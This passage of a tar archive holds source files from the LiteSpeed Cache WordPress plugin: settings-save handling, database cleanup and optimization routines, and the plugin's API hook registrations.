cdn-mapping[url][] = 'xxx' * cdn-mapping[url][2] = 'xxx2' * cdn-mapping[inc_js][] = 1 * * Final format: * cdn-mapping[0][url] = 'xxx' * cdn-mapping[2][url] = 'xxx2' */ if ( $data ) { foreach ( $data as $k => $v ) { if ( self::CDN_MAPPING_FILETYPE === $child ) { $v = Utility::sanitize_lines( $v ); } if ( self::CDN_MAPPING_URL === $child ) { // If not a valid URL, turn off CDN. if ( 0 !== strpos( $v, 'https://' ) ) { self::debug( '❌ CDN mapping set to OFF due to invalid URL' ); $the_matrix[ self::O_CDN ] = false; } $v = trailingslashit( $v ); } if ( in_array( $child, [ self::CDN_MAPPING_INC_IMG, self::CDN_MAPPING_INC_CSS, self::CDN_MAPPING_INC_JS ], true ) ) { // Because these can't be auto detected in `config->update()`, need to format here. $v = 'false' === $v ? 0 : (bool) $v; } if ( empty( $data2[ $k ] ) ) { $data2[ $k ] = []; } $data2[ $k ][ $child ] = $v; } } $data = $data2; break; case self::O_CRAWLER_COOKIES: /** * Cookie Crawler setting * Raw Format: * crawler-cookies[name][] = xxx * crawler-cookies[name][2] = xxx2 * crawler-cookies[vals][] = xxx * * Final format: * crawler-cookie[0][name] = 'xxx' * crawler-cookie[0][vals] = 'xxx' * crawler-cookie[2][name] = 'xxx2' * * Empty line for `vals` uses literal `_null`. */ if ( $data ) { foreach ( $data as $k => $v ) { if ( self::CRWL_COOKIE_VALS === $child ) { $v = Utility::sanitize_lines( $v ); } if ( empty( $data2[ $k ] ) ) { $data2[ $k ] = []; } $data2[ $k ][ $child ] = $v; } } $data = $data2; break; // Cache exclude category. case self::O_CACHE_EXC_CAT: $data2 = []; $data = Utility::sanitize_lines( $data ); foreach ( $data as $v ) { $cat_id = get_cat_ID( $v ); if ( ! $cat_id ) { continue; } $data2[] = $cat_id; } $data = $data2; break; // Cache exclude tag. case self::O_CACHE_EXC_TAG: $data2 = []; $data = Utility::sanitize_lines( $data ); foreach ( $data as $v ) { $term = get_term_by( 'name', $v, 'post_tag' ); if ( ! $term ) { // Could surface an admin error here if desired. continue; } $data2[] = $term->term_id; } $data = $data2; break; case self::O_IMG_OPTM_SIZES_SKIPPED: // Skip image sizes $image_sizes = Utility::prepare_image_sizes_array(); $saved_sizes = isset( $raw_data[$id] ) ? $raw_data[$id] : []; $data = array_diff( $image_sizes, $saved_sizes ); break; default: break; } $the_matrix[ $id ] = $data; } // Special handler for CDN/Crawler 2d list to drop empty rows. foreach ( $the_matrix as $id => $data ) { /** * Format: * cdn-mapping[0][url] = 'xxx' * cdn-mapping[2][url] = 'xxx2' * crawler-cookie[0][name] = 'xxx' * crawler-cookie[0][vals] = 'xxx' * crawler-cookie[2][name] = 'xxx2' */ if ( self::O_CDN_MAPPING === $id || self::O_CRAWLER_COOKIES === $id ) { // Drop row if all children are empty. foreach ( $data as $k => $v ) { foreach ( $v as $v2 ) { if ( $v2 ) { continue 2; } } // All empty. unset( $the_matrix[ $id ][ $k ] ); } } // Don't allow repeated cookie names. if ( self::O_CRAWLER_COOKIES === $id ) { $existed = []; foreach ( $the_matrix[ $id ] as $k => $v ) { if ( empty( $v[ self::CRWL_COOKIE_NAME ] ) || in_array( $v[ self::CRWL_COOKIE_NAME ], $existed, true ) ) { // Filter repeated or empty name. unset( $the_matrix[ $id ][ $k ] ); continue; } $existed[] = $v[ self::CRWL_COOKIE_NAME ]; } } // tmp fix the 3rd part woo update hook issue when enabling vary cookie. if ( 'wc_cart_vary' === $id ) { if ( $data ) { add_filter( 'litespeed_vary_cookies', function ( $arr ) { $arr[] = 'woocommerce_cart_hash'; return array_unique( $arr ); } ); } else { add_filter( 'litespeed_vary_cookies', function ( $arr ) { $key = array_search( 'woocommerce_cart_hash', $arr, true ); if ( false !== $key ) { unset( $arr[ $key ] ); } return array_unique( $arr ); } ); } } } // id validation will be inside. $this->cls( 'Conf' )->update_confs( $the_matrix ); $msg = __( 'Options saved.', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Parses any changes made by the network admin on the network settings. * * @since 3.0 * * @param array<string,mixed> $raw_data Raw data from request/CLI. * @return void */ public function network_save( $raw_data ) { self::debug( 'network saving' ); if ( empty( $raw_data[ self::ENROLL ] ) ) { wp_die( esc_html__( 'No fields', 'litespeed-cache' ) ); } $raw_data = Admin::cleanup_text( $raw_data ); foreach ( array_unique( $raw_data[ self::ENROLL ] ) as $id ) { // Append current field to setting save. if ( ! array_key_exists( $id, self::$_default_site_options ) ) { continue; } $data = ! empty( $raw_data[ $id ] ) ? $raw_data[ $id ] : false; // id validation will be inside. $this->cls( 'Conf' )->network_update( $id, $data ); } // Update related files. Activation::cls()->update_files(); $msg = __( 'Options saved.', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Hooked to the wp_redirect filter when saving widgets fails validation. * * @since 1.1.3 * * @param string $location The redirect location. * @return string Updated location string. */ public static function widget_save_err( $location ) { return str_replace( '?message=0', '?error=0', $location ); } /** * Validate the LiteSpeed Cache settings on widget save. * * @since 1.1.3 * * @param array $instance The new settings. * @param array $new_instance The raw submitted settings. * @param array $old_instance The original settings. * @param \WP_Widget $widget The widget instance. * @return array|false Updated settings on success, false on error. */ public static function validate_widget_save( $instance, $new_instance, $old_instance, $widget ) { if ( empty( $new_instance ) ) { return $instance; } if ( ! isset( $new_instance[ ESI::WIDGET_O_ESIENABLE ], $new_instance[ ESI::WIDGET_O_TTL ] ) ) { return $instance; } $esi = (int) $new_instance[ ESI::WIDGET_O_ESIENABLE ] % 3; $ttl = (int) $new_instance[ ESI::WIDGET_O_TTL ]; if ( 0 !== $ttl && $ttl < 30 ) { add_filter( 'wp_redirect', __CLASS__ . '::widget_save_err' ); return false; // Invalid ttl. } if ( empty( $instance[ Conf::OPTION_NAME ] ) ) { // @todo to be removed. $instance[ Conf::OPTION_NAME ] = []; } $instance[ Conf::OPTION_NAME ][ ESI::WIDGET_O_ESIENABLE ] = $esi; $instance[ Conf::OPTION_NAME ][ ESI::WIDGET_O_TTL ] = $ttl; $current = ! empty( $old_instance[ Conf::OPTION_NAME ] ) ? $old_instance[ Conf::OPTION_NAME ] : false; // Avoid unsanitized superglobal usage. $referrer = isset( $_SERVER['HTTP_REFERER'] ) ? esc_url_raw( wp_unslash( $_SERVER['HTTP_REFERER'] ) ) : ''; // Only purge when not in the Customizer. if ( false === strpos( $referrer, '/wp-admin/customize.php' ) ) { if ( ! $current || $esi !== (int) $current[ ESI::WIDGET_O_ESIENABLE ] ) { Purge::purge_all( 'Widget ESI_enable changed' ); } elseif ( 0 !== $ttl && $ttl !== (int) $current[ ESI::WIDGET_O_TTL ] ) { Purge::add( Tag::TYPE_WIDGET . $widget->id ); } Purge::purge_all( 'Widget saved' ); } return $instance; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/db-optm.cls.php���������������������������������������������������������0000644�����������������00000036545�15233526476�0014720 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The admin optimize tool. * * @package LiteSpeed * @since 1.2.1 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Database optimization utilities for LiteSpeed. */ class DB_Optm extends Root { /** * Whether there are more sites hidden in multisite counts. * * @var bool */ private static $_hide_more = false; /** * Supported cleanup types. * * @var string[] */ private static $types = [ 'revision', 'orphaned_post_meta', 'auto_draft', 'trash_post', 'spam_comment', 'trash_comment', 'trackback-pingback', 'expired_transient', 'all_transients', 'optimize_tables', ]; /** * Convert tables to InnoDB type identifier. */ const TYPE_CONV_TB = 'conv_innodb'; /** * Show if there are more sites in hidden. * * @since 3.0 * @return bool */ public static function hide_more() { return self::$_hide_more; } /** * Clean/Optimize WP tables. * * @since 1.2.1 * @access public * @param string $type The type to clean. * @param bool $ignore_multisite If ignoring multisite check. * @return int|string The rows that will be affected, or '-' on unknown. */ public function db_count( $type, $ignore_multisite = false ) { if ( 'all' === $type ) { $num = 0; foreach ( self::$types as $v ) { $num += (int) $this->db_count( $v ); } return $num; } if ( ! $ignore_multisite ) { if ( is_multisite() && is_network_admin() ) { $num = 0; $blogs = Activation::get_network_ids(); foreach ( $blogs as $k => $blog_id ) { if ( $k > 3 ) { self::$_hide_more = true; break; } switch_to_blog( $blog_id ); $num += (int) $this->db_count( $type, true ); restore_current_blog(); } return $num; } } global $wpdb; switch ( $type ) { case 'revision': $rev_max = (int) $this->conf( Base::O_DB_OPTM_REVISIONS_MAX ); $rev_age = (int) $this->conf( Base::O_DB_OPTM_REVISIONS_AGE ); $sql_add = ''; if ( $rev_age ) { $sql_add = $wpdb->prepare( ' AND post_modified < DATE_SUB( NOW(), INTERVAL %d DAY ) ', $rev_age ); } $sql = "SELECT COUNT(*) FROM `$wpdb->posts` WHERE post_type = 'revision' $sql_add"; if ( ! $rev_max ) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared return (int) $wpdb->get_var( $sql ); } // Has count limit. $sql = "SELECT COUNT(*) - %d FROM `$wpdb->posts` WHERE post_type = 'revision' $sql_add GROUP BY post_parent HAVING COUNT(*) > %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $res = (array) $wpdb->get_results( $wpdb->prepare( $sql, $rev_max, $rev_max ), ARRAY_N ); Utility::compatibility(); return array_sum( array_column( $res, 0 ) ); case 'orphaned_post_meta': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery return (int) $wpdb->get_var( "SELECT COUNT(*) FROM `$wpdb->postmeta` a LEFT JOIN `$wpdb->posts` b ON b.ID=a.post_id WHERE b.ID IS NULL" ); case 'auto_draft': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery return (int) $wpdb->get_var( "SELECT COUNT(*) FROM `$wpdb->posts` WHERE post_status = 'auto-draft'" ); case 'trash_post': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery return (int) $wpdb->get_var( "SELECT COUNT(*) FROM `$wpdb->posts` WHERE post_status = 'trash'" ); case 'spam_comment': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery return (int) $wpdb->get_var( "SELECT COUNT(*) FROM `$wpdb->comments` WHERE comment_approved = 'spam'" ); case 'trash_comment': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery return (int) $wpdb->get_var( "SELECT COUNT(*) FROM `$wpdb->comments` WHERE comment_approved = 'trash'" ); case 'trackback-pingback': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery return (int) $wpdb->get_var( "SELECT COUNT(*) FROM `$wpdb->comments` WHERE comment_type = 'trackback' OR comment_type = 'pingback'" ); case 'expired_transient': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery return (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM `$wpdb->options` WHERE option_name LIKE %s AND option_value < %d", $wpdb->esc_like( '_transient_timeout_' ) . '%', time() ) ); case 'all_transients': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery return (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM `$wpdb->options` WHERE option_name LIKE %s", $wpdb->esc_like( '_transient_' ) . '%' ) ); case 'optimize_tables': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery return (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM information_schema.tables WHERE TABLE_SCHEMA = %s AND ENGINE <> 'InnoDB' AND DATA_FREE > 0", DB_NAME ) ); } return '-'; } /** * Clean/Optimize WP tables. * * @since 1.2.1 * @since 3.0 changed to private * @access private * @param string $type Cleanup type. * @return string Status message. */ private function _db_clean( $type ) { if ( 'all' === $type ) { foreach ( self::$types as $v ) { $this->_db_clean( $v ); } return __( 'Clean all successfully.', 'litespeed-cache' ); } global $wpdb; switch ( $type ) { case 'revision': $rev_max = (int) $this->conf( Base::O_DB_OPTM_REVISIONS_MAX ); $rev_age = (int) $this->conf( Base::O_DB_OPTM_REVISIONS_AGE ); $postmeta = "`$wpdb->postmeta`"; $posts = "`$wpdb->posts`"; $sql_postmeta_join = function ( $table ) use ( $postmeta, $posts ) { return " $postmeta CROSS JOIN $table ON $posts.ID = $postmeta.post_id "; }; $sql_where = "WHERE $posts.post_type = 'revision'"; // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared $sql_add = $rev_age ? $wpdb->prepare( ' AND ' . $posts . '.post_modified < DATE_SUB( NOW(), INTERVAL %d DAY )', $rev_age ) : ''; if ( ! $rev_max ) { $sql_where = "$sql_where $sql_add"; $sql_postmeta = $sql_postmeta_join( $posts ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $wpdb->query( "DELETE $postmeta FROM $sql_postmeta $sql_where" ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $wpdb->query( "DELETE FROM $posts $sql_where" ); } else { // Has count limit. $sql = " SELECT COUNT(*) - %d AS del_max, post_parent FROM $posts WHERE post_type = 'revision' $sql_add GROUP BY post_parent HAVING COUNT(*) > %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $res = (array) $wpdb->get_results( $wpdb->prepare( $sql, $rev_max, $rev_max ) ); $sql_where = " $sql_where AND post_parent = %d ORDER BY ID LIMIT %d "; $sql_postmeta = $sql_postmeta_join( "(SELECT ID FROM $posts $sql_where) AS $posts" ); foreach ( $res as $v ) { $args = [ (int) $v->post_parent, (int) $v->del_max ]; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare $wpdb->query( $wpdb->prepare( "DELETE $postmeta FROM $sql_postmeta", $args ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare $wpdb->query( $wpdb->prepare( "DELETE FROM $posts $sql_where", $args ) ); } } return __( 'Clean post revisions successfully.', 'litespeed-cache' ); case 'orphaned_post_meta': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( "DELETE a FROM `$wpdb->postmeta` a LEFT JOIN `$wpdb->posts` b ON b.ID=a.post_id WHERE b.ID IS NULL" ); return __( 'Clean orphaned post meta successfully.', 'litespeed-cache' ); case 'auto_draft': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( "DELETE FROM `$wpdb->posts` WHERE post_status = 'auto-draft'" ); return __( 'Clean auto drafts successfully.', 'litespeed-cache' ); case 'trash_post': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( "DELETE FROM `$wpdb->posts` WHERE post_status = 'trash'" ); return __( 'Clean trashed posts and pages successfully.', 'litespeed-cache' ); case 'spam_comment': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( "DELETE FROM `$wpdb->comments` WHERE comment_approved = 'spam'" ); return __( 'Clean spam comments successfully.', 'litespeed-cache' ); case 'trash_comment': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( "DELETE FROM `$wpdb->comments` WHERE comment_approved = 'trash'" ); return __( 'Clean trashed comments successfully.', 'litespeed-cache' ); case 'trackback-pingback': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( "DELETE FROM `$wpdb->comments` WHERE comment_type = 'trackback' OR comment_type = 'pingback'" ); return __( 'Clean trackbacks and pingbacks successfully.', 'litespeed-cache' ); case 'expired_transient': $keys_to_delete = []; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $transients = $wpdb->get_results( $wpdb->prepare( "SELECT option_name FROM `$wpdb->options` WHERE option_name LIKE %s AND option_value < %d", $wpdb->esc_like( '_transient_timeout_' ) . '%', time() ), ); foreach ( $transients as $transient ) { $keys_to_delete[] = $transient->option_name; $keys_to_delete[] = str_replace( '_transient_timeout_', '_transient_', $transient->option_name ); } if ( ! empty( $keys_to_delete ) ) { $placeholders = implode( ',', array_fill( 0, count( $keys_to_delete ), '%s' ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( $wpdb->prepare( // phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare, WordPress.DB.PreparedSQL.InterpolatedNotPrepared "DELETE FROM `$wpdb->options` WHERE option_name IN ( $placeholders )", $keys_to_delete ) ); } return __( 'Clean expired transients successfully.', 'litespeed-cache' ); case 'all_transients': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $wpdb->query( $wpdb->prepare( "DELETE FROM `$wpdb->options` WHERE option_name LIKE %s", $wpdb->esc_like( '_transient_' ) . '%' ) ); return __( 'Clean all transients successfully.', 'litespeed-cache' ); case 'optimize_tables': // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery $result = (array) $wpdb->get_results( $wpdb->prepare( "SELECT table_name, DATA_FREE FROM information_schema.tables WHERE TABLE_SCHEMA = %s AND ENGINE <> 'InnoDB' AND DATA_FREE > 0", DB_NAME ) ); if ( $result ) { foreach ( $result as $row ) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $wpdb->query( 'OPTIMIZE TABLE ' . esc_sql( $row->table_name ) ); } } return __( 'Optimized all tables.', 'litespeed-cache' ); } } /** * Get all MyISAM tables. * * @since 3.0 * @access public * @return array */ public function list_myisam() { global $wpdb; $like = $wpdb->esc_like( $wpdb->prefix ) . '%'; // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery return (array) $wpdb->get_results( $wpdb->prepare( "SELECT TABLE_NAME as table_name, ENGINE as engine FROM information_schema.tables WHERE TABLE_SCHEMA = %s AND ENGINE = 'myisam' AND TABLE_NAME LIKE %s", DB_NAME, $like ) ); } /** * Convert tables to InnoDB. * * @since 3.0 * @access private * @return void */ private function _conv_innodb() { global $wpdb; $tb_param = isset( $_GET['litespeed_tb'] ) ? sanitize_text_field( wp_unslash( $_GET['litespeed_tb'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( ! $tb_param ) { Admin_Display::error( 'No table to convert or invalid nonce' ); return; } $tb = false; $list = $this->list_myisam(); $names = wp_list_pluck( $list, 'table_name' ); if ( in_array( $tb_param, $names, true ) ) { $tb = $tb_param; } if ( ! $tb ) { Admin_Display::error( 'No existing table' ); return; } // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.SchemaChange $wpdb->query( 'ALTER TABLE ' . esc_sql( DB_NAME ) . '.' . esc_sql( $tb ) . ' ENGINE = InnoDB' ); Debug2::debug( "[DB] Converted $tb to InnoDB" ); $msg = __( 'Converted to InnoDB successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Count all autoload size. * * @since 3.0 * @access public * @return object Summary with size, entries, and toplist. */ public function autoload_summary() { global $wpdb; $autoload_values = function_exists( 'wp_autoload_values_to_autoload' ) ? wp_autoload_values_to_autoload() : [ 'yes', 'on', 'auto-on', 'auto' ]; $placeholders = implode( ',', array_fill( 0, count( $autoload_values ), '%s' ) ); // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare $summary = $wpdb->get_row( $wpdb->prepare( "SELECT SUM(LENGTH(option_value)) AS autoload_size, COUNT(*) AS autload_entries FROM `$wpdb->options` WHERE autoload IN ($placeholders)", $autoload_values ) ); // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare $summary->autoload_toplist = $wpdb->get_results( $wpdb->prepare( "SELECT option_name, LENGTH(option_value) AS option_value_length, autoload FROM `$wpdb->options` WHERE autoload IN ($placeholders) ORDER BY option_value_length DESC LIMIT 20", $autoload_values ) ); return $summary; } /** * Handle all request actions from main cls. * * @since 3.0 * @access public * @return void */ public function handler() { $type = Router::verify_type(); switch ($type) { case self::TYPE_CONV_TB: $this->_conv_innodb(); break; default: if ( 'all' === $type || in_array( $type, self::$types, true ) ) { if ( is_multisite() && is_network_admin() ) { $blogs = Activation::get_network_ids(); foreach ( $blogs as $blog_id ) { switch_to_blog( $blog_id ); $msg = $this->_db_clean( $type ); restore_current_blog(); } } else { $msg = $this->_db_clean( $type ); } Admin_Display::success( $msg ); } break; } Admin::redirect(); } /** * Clean DB via WP-CLI. * * @since 7.0 * @access public * @param string $args Cleanup type. * @return string|false */ public function handler_clean_db_cli( $args ) { if ( defined( 'WP_CLI' ) && constant('WP_CLI') ) { return $this->_db_clean( $args ); } return false; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/api.cls.php�������������������������������������������������������������0000644�����������������00000024564�15233526476�0014125 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The plugin API class. * * @since 1.1.3 * @package LiteSpeed */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class API * * Provides API hooks and methods for LiteSpeed Cache integration. * * @since 1.1.3 */ class API extends Base { const VERSION = Core::VER; const TYPE_FEED = Tag::TYPE_FEED; const TYPE_FRONTPAGE = Tag::TYPE_FRONTPAGE; const TYPE_HOME = Tag::TYPE_HOME; const TYPE_PAGES = Tag::TYPE_PAGES; const TYPE_PAGES_WITH_RECENT_POSTS = Tag::TYPE_PAGES_WITH_RECENT_POSTS; const TYPE_HTTP = Tag::TYPE_HTTP; const TYPE_ARCHIVE_POSTTYPE = Tag::TYPE_ARCHIVE_POSTTYPE; const TYPE_ARCHIVE_TERM = Tag::TYPE_ARCHIVE_TERM; const TYPE_AUTHOR = Tag::TYPE_AUTHOR; const TYPE_ARCHIVE_DATE = Tag::TYPE_ARCHIVE_DATE; const TYPE_BLOG = Tag::TYPE_BLOG; const TYPE_LOGIN = Tag::TYPE_LOGIN; const TYPE_URL = Tag::TYPE_URL; const TYPE_ESI = Tag::TYPE_ESI; const PARAM_NAME = ESI::PARAM_NAME; const WIDGET_O_ESIENABLE = ESI::WIDGET_O_ESIENABLE; const WIDGET_O_TTL = ESI::WIDGET_O_TTL; /** * Instance * * Initializes the API class. * * @since 3.0 */ public function __construct() { } /** * Define hooks to be used in other plugins. * * The benefit to use hooks other than functions is no need to detach if LSCWP enabled and function existed or not anymore * * @since 3.0 */ public function init() { /** * Init */ // Action `litespeed_init` /** * Conf */ add_filter( 'litespeed_conf', [ $this, 'conf' ] ); // Action `litespeed_conf_append` add_action( 'litespeed_conf_multi_switch', __NAMESPACE__ . '\Base::set_multi_switch', 10, 2 ); // Action `litespeed_conf_force` add_action( 'litespeed_save_conf', [ $this, 'save_conf' ] ); /** * Cache Control Hooks */ // Action `litespeed_control_finalize` add_action( 'litespeed_control_set_private', __NAMESPACE__ . '\Control::set_private' ); add_action( 'litespeed_control_set_nocache', __NAMESPACE__ . '\Control::set_nocache' ); add_action( 'litespeed_control_set_cacheable', [ $this, 'set_cacheable' ] ); add_action( 'litespeed_control_force_cacheable', __NAMESPACE__ . '\Control::force_cacheable' ); add_action( 'litespeed_control_force_public', __NAMESPACE__ . '\Control::set_public_forced' ); add_filter( 'litespeed_control_cacheable', __NAMESPACE__ . '\Control::is_cacheable', 3 ); add_action( 'litespeed_control_set_ttl', __NAMESPACE__ . '\Control::set_custom_ttl', 10, 2 ); add_filter( 'litespeed_control_ttl', [ $this, 'get_ttl' ], 3 ); /** * Tag Hooks */ // Action `litespeed_tag_finalize` add_action( 'litespeed_tag', __NAMESPACE__ . '\Tag::add' ); add_action( 'litespeed_tag_post', __NAMESPACE__ . '\Tag::add_post' ); add_action( 'litespeed_tag_widget', __NAMESPACE__ . '\Tag::add_widget' ); add_action( 'litespeed_tag_private', __NAMESPACE__ . '\Tag::add_private' ); add_action( 'litespeed_tag_private_esi', __NAMESPACE__ . '\Tag::add_private_esi' ); add_action( 'litespeed_tag_add', __NAMESPACE__ . '\Tag::add' ); add_action( 'litespeed_tag_add_post', __NAMESPACE__ . '\Tag::add_post' ); add_action( 'litespeed_tag_add_widget', __NAMESPACE__ . '\Tag::add_widget' ); add_action( 'litespeed_tag_add_private', __NAMESPACE__ . '\Tag::add_private' ); add_action( 'litespeed_tag_add_private_esi', __NAMESPACE__ . '\Tag::add_private_esi' ); /** * Purge Hooks */ // Action `litespeed_purge_finalize` add_action( 'litespeed_purge', __NAMESPACE__ . '\Purge::add' ); add_action( 'litespeed_purge_all', __NAMESPACE__ . '\Purge::purge_all' ); add_action( 'litespeed_purge_post', [ $this, 'purge_post' ] ); add_action( 'litespeed_purge_posttype', __NAMESPACE__ . '\Purge::purge_posttype' ); add_action( 'litespeed_purge_url', [ $this, 'purge_url' ] ); add_action( 'litespeed_purge_widget', __NAMESPACE__ . '\Purge::purge_widget' ); add_action( 'litespeed_purge_esi', __NAMESPACE__ . '\Purge::purge_esi' ); add_action( 'litespeed_purge_private', __NAMESPACE__ . '\Purge::add_private' ); add_action( 'litespeed_purge_private_esi', __NAMESPACE__ . '\Purge::add_private_esi' ); add_action( 'litespeed_purge_private_all', __NAMESPACE__ . '\Purge::add_private_all' ); // Action `litespeed_api_purge_post` // Action `litespeed_purged_all` add_action( 'litespeed_purge_all_object', __NAMESPACE__ . '\Purge::purge_all_object' ); add_action( 'litespeed_purge_ucss', __NAMESPACE__ . '\Purge::purge_ucss' ); /** * ESI */ // Action `litespeed_nonce` add_filter( 'litespeed_esi_status', [ $this, 'esi_enabled' ] ); add_filter( 'litespeed_esi_url', [ $this, 'sub_esi_block' ], 10, 8 ); // Generate ESI block url // Filter `litespeed_widget_default_options` // Hook widget default settings value. Currently used in Woo 3rd // Filter `litespeed_esi_params` // Action `litespeed_tpl_normal` // Action `litespeed_esi_load-$block` // @usage add_action( 'litespeed_esi_load-' . $block, $hook ) add_action( 'litespeed_esi_combine', __NAMESPACE__ . '\ESI::combine' ); /** * Vary * * To modify default vary, There are two ways: Action `litespeed_vary_append` or Filter `litespeed_vary` */ add_action( 'litespeed_vary_ajax_force', __NAMESPACE__ . '\Vary::can_ajax_vary' ); // Force finalize vary even if its in an AJAX call // Filter `litespeed_vary_curr_cookies` to generate current in use vary, which will be used for response vary header. // Filter `litespeed_vary_cookies` to register the final vary cookies, which will be written to rewrite rule. (litespeed_vary_curr_cookies are always equal to or less than litespeed_vary_cookies) // Filter `litespeed_vary` add_action( 'litespeed_vary_no', __NAMESPACE__ . '\Control::set_no_vary' ); /** * Cloud */ add_filter( 'litespeed_is_from_cloud', [ $this, 'is_from_cloud' ] ); // Check if current request is from QC (usually its to check REST access) // @see https://wordpress.org/support/topic/image-optimization-not-working-3/ /** * Media */ add_action( 'litespeed_media_reset', __NAMESPACE__ . '\Media::delete_attachment' ); /** * GUI */ add_filter( 'litespeed_clean_wrapper_begin', __NAMESPACE__ . '\GUI::clean_wrapper_begin' ); add_filter( 'litespeed_clean_wrapper_end', __NAMESPACE__ . '\GUI::clean_wrapper_end' ); /** * Misc */ add_action( 'litespeed_debug', __NAMESPACE__ . '\Debug2::debug', 10, 2 ); add_action( 'litespeed_debug2', __NAMESPACE__ . '\Debug2::debug2', 10, 2 ); add_action( 'litespeed_disable_all', [ $this, 'disable_all' ] ); add_action( 'litespeed_after_admin_init', [ $this, 'after_admin_init' ] ); } /** * API for admin related * * Registers hooks for admin settings and UI elements. * * @since 3.0 * @access public */ public function after_admin_init() { /** * GUI */ add_action( 'litespeed_setting_enroll', [ $this->cls( 'Admin_Display' ), 'enroll' ], 10, 4 ); add_action( 'litespeed_build_switch', [ $this->cls( 'Admin_Display' ), 'build_switch' ] ); // Action `litespeed_settings_content` // Action `litespeed_settings_tab` } /** * Disable All * * Disables all LiteSpeed Cache features with a given reason. * * @since 2.9.7.2 * @access public * @param string $reason The reason for disabling all features. */ public function disable_all( $reason ) { do_action( 'litespeed_debug', '[API] Disabled_all due to ' . $reason ); ! defined( 'LITESPEED_DISABLE_ALL' ) && define( 'LITESPEED_DISABLE_ALL', true ); } /** * Append commenter vary * * Adds commenter vary to the cache vary cookies. * * @since 3.0 * @access public */ public static function vary_append_commenter() { Vary::cls()->append_commenter(); } /** * Check if is from Cloud * * Checks if the current request originates from QUIC.cloud. * * @since 4.2 * @access public * @return bool True if from QUIC.cloud, false otherwise. */ public function is_from_cloud() { return $this->cls( 'Cloud' )->is_from_cloud(); } /** * Purge post * * Purges the cache for a specific post. * * @since 3.0 * @access public * @param int $pid Post ID to purge. */ public function purge_post( $pid ) { $this->cls( 'Purge' )->purge_post( $pid ); } /** * Purge URL * * Purges the cache for a specific URL. * * @since 3.0 * @access public * @param string $url URL to purge. */ public function purge_url( $url ) { $this->cls( 'Purge' )->purge_url( $url ); } /** * Set cacheable * * Marks the current request as cacheable. * * @since 3.0 * @access public * @param string|bool $reason Optional reason for setting cacheable. */ public function set_cacheable( $reason = false ) { $this->cls( 'Control' )->set_cacheable( $reason ); } /** * Check ESI enabled * * Returns whether ESI is enabled. * * @since 3.0 * @access public * @return bool True if ESI is enabled, false otherwise. */ public function 